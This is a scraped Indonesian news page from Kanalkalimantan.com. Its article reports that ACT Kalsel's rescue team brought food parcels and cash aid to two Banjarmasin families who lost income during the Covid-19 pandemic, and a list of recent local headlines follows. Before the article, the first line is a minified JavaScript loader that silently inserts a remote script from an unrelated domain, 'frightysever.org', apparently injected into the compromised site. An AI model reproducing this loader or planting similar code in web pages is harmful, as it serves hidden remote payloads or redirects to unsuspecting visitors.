(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: ACT KALSEL

MSR ACT Kalsel Respon Cepat Warga Terdampak Covid-19


KANALKALIMANTAN.COM, BANJARMASIN– “Mbak, bisa minta tolong lah. Ulun mau jual HP Nokia buat keperluan rumah, ulun guru honorer. Semenjak sekolah diliburkan kami tidak dapat gaji.” Demikian pesan singkat yang diterima tim Mobile Sosial Rescue ACT Kalsel pada Jumat (8/5/2020). Dengan segera tim mencari tahu lebih dalam kondisi guru tersebut. Ia bernama Maimunah, seorang ibu dua anak berusia 32 tahun.

Maimunah bekerja di sebuah Madrasah Ibtidaiyah Pematang Panjang. Suaminya bekerja sebagai buruh di sebuah usaha catering. Namun, sejak pandemi corona, sang suami mendapat upah paling banyak Rp 300 ribu per minggu. Per bulan sekitar Rp 1,2 juta. Sementara ada dua anak yang harus dihidupi. Paling kecil berusia 1 tahun. “Saya perlu uang untuk bayar air dan listrik, perlunya Rp 200 ribu,” ungkap Maimunah

Setelah menanyakan alamat, tim MSR ACT Kalsel segera meluncur ke kediaman Maimunah di Pematang Panjang. Sesampainya di rumah Maimunah, tim juga bertemu Yanti, seorang ibu rumah tangga berusia 30 tahun. Rupanya Yanti ini lah yang berniat menjual handphone untuk membeli kebutuhan hidup sehari-hari. Rencananya jika handphone terjual, Maimunah akan diberi fee sebesar Rp 100 ribu.

Jalan tersebut terpaksa mereka tempuh karena keadaan sudah sangat menghimpit. Suami Yanti adalah seorang supir angkutan bandara. Sejak bandara ditutup karena pandemi Covid-19, otomatis tak ada pemasukan yang didapatkan. Yanti dan suami terpaksa berhutang dan menjual barang-barang di rumah.

“Kami tak punya sawah, sehingga beras pun harus beli. Saya lihat banyak bantuan dibagikan di pinggir-pinggir jalan. Kami yang rumahnya di kampung seperti ini tak ada bantuan,” terang Yanti.
Kedatangan tim MSR ACT disambut sumringah oleh keduanya. “Alhamdulillah kami bersyukur ACT mau datang kemari dan membantu kami. Terima kasih, semoga diberikan keberlimpahan rezeki untuk tim ACT,” ucap Maimunah sembari menggendong anaknya.

Alhamdulillah paket sembako dan santunan biaya hidup dari sahabat dermawan kembali menghadirkan kebahagiaan dua keluarga yang terdampak pandemi. (Retno/Act)

Reporter : retno/act
Editor : cell

 


Desy Arfianty

Recent Posts

Soal Pungutan Acara Perpisahan Siswa, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyikapi persoalan iuran kegiatan acara… Read More

2 jam ago

Pungutan Acara Perpisahaan Siswa, Begini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU – Menyikapi pungutan acara perpisahan siswa sekolah di Banjarbaru, Wali Kota Banjarbaru Aditya… Read More

3 jam ago

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

13 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

14 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

14 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

14 jam ago

This website uses cookies.